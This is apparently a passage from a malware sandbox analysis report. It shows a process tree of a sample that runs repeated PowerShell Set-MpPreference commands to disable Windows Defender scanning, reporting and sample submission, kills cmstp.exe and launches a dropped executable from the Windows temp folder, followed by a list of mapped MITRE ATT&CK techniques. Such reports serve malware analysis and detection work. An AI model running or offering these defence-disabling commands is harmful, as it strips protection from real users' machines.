"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -DisableBlockAtFirstSeen $true
4⤵
PID:3984

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -DisableIOAVProtection $true
4⤵
PID:5708

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -DisablePrivacyMode $true
4⤵
PID:5656

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -DisableScriptScanning $true
4⤵
PID:5680

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -HighThreatDefaultAction 6 -Force
4⤵
PID:1796

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -LowThreatDefaultAction 6
4⤵
PID:5908

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -MAPSReporting 0
4⤵
PID:5164

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -ModerateThreatDefaultAction 6
4⤵
PID:5008

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -SevereThreatDefaultAction 6
4⤵
PID:4716

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -SignatureDisableUpdateOnStartupWithoutEngine $true
4⤵
PID:5728

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -SubmitSamplesConsent 2
4⤵
PID:4424

C:\Windows\SysWOW64\taskkill.exe
taskkill /IM cmstp.exe /F
2⤵
- Kills process with taskkill
PID:5400

C:\Windows\SysWOW64\cmd.exe
cmd /c start C:\Windows\temp\eozefxuz.exe
2⤵
PID:6252

C:\Windows\temp\eozefxuz.exe
C:\Windows\temp\eozefxuz.exe
3⤵
- Executes dropped EXE
PID:4708

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"powershell" Get-MpPreference -verbose
4⤵
PID:6272

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -DisableArchiveScanning $true
4⤵
PID:6056

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -DisableBlockAtFirstSeen $true
4⤵
PID:3652

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -DisableIOAVProtection $true
4⤵
PID:4216

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -DisablePrivacyMode $true
4⤵
PID:5788

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -DisableScriptScanning $true
4⤵
PID:7024

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -HighThreatDefaultAction 6 -Force
4⤵
PID:6084

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -LowThreatDefaultAction 6
4⤵
PID:6364

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -MAPSReporting 0
4⤵
PID:5276

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -ModerateThreatDefaultAction 6
4⤵
PID:4840

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -SevereThreatDefaultAction 6
4⤵
PID:6420

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -SignatureDisableUpdateOnStartupWithoutEngine $true
4⤵
PID:7072

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -SubmitSamplesConsent 2
4⤵
PID:5956

C:\Windows\SysWOW64\taskkill.exe
taskkill /IM cmstp.exe /F
2⤵
- Kills process with taskkill
PID:6212

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Modify Existing Service

T1031

Registry Run Keys / Startup Folder

T1060

Hidden Files and Directories

T1158

Privilege Escalation

Bypass User Account Control

T1088

Defense Evasion

Modify Registry

Disabling Security Tools

T1089

Bypass User Account Control

T1088

Install Root Certificate

T1130

Hidden Files and Directories

T1158

Credential Access

Credentials in Files

T1081

Discovery

Query Registry

System Information Discovery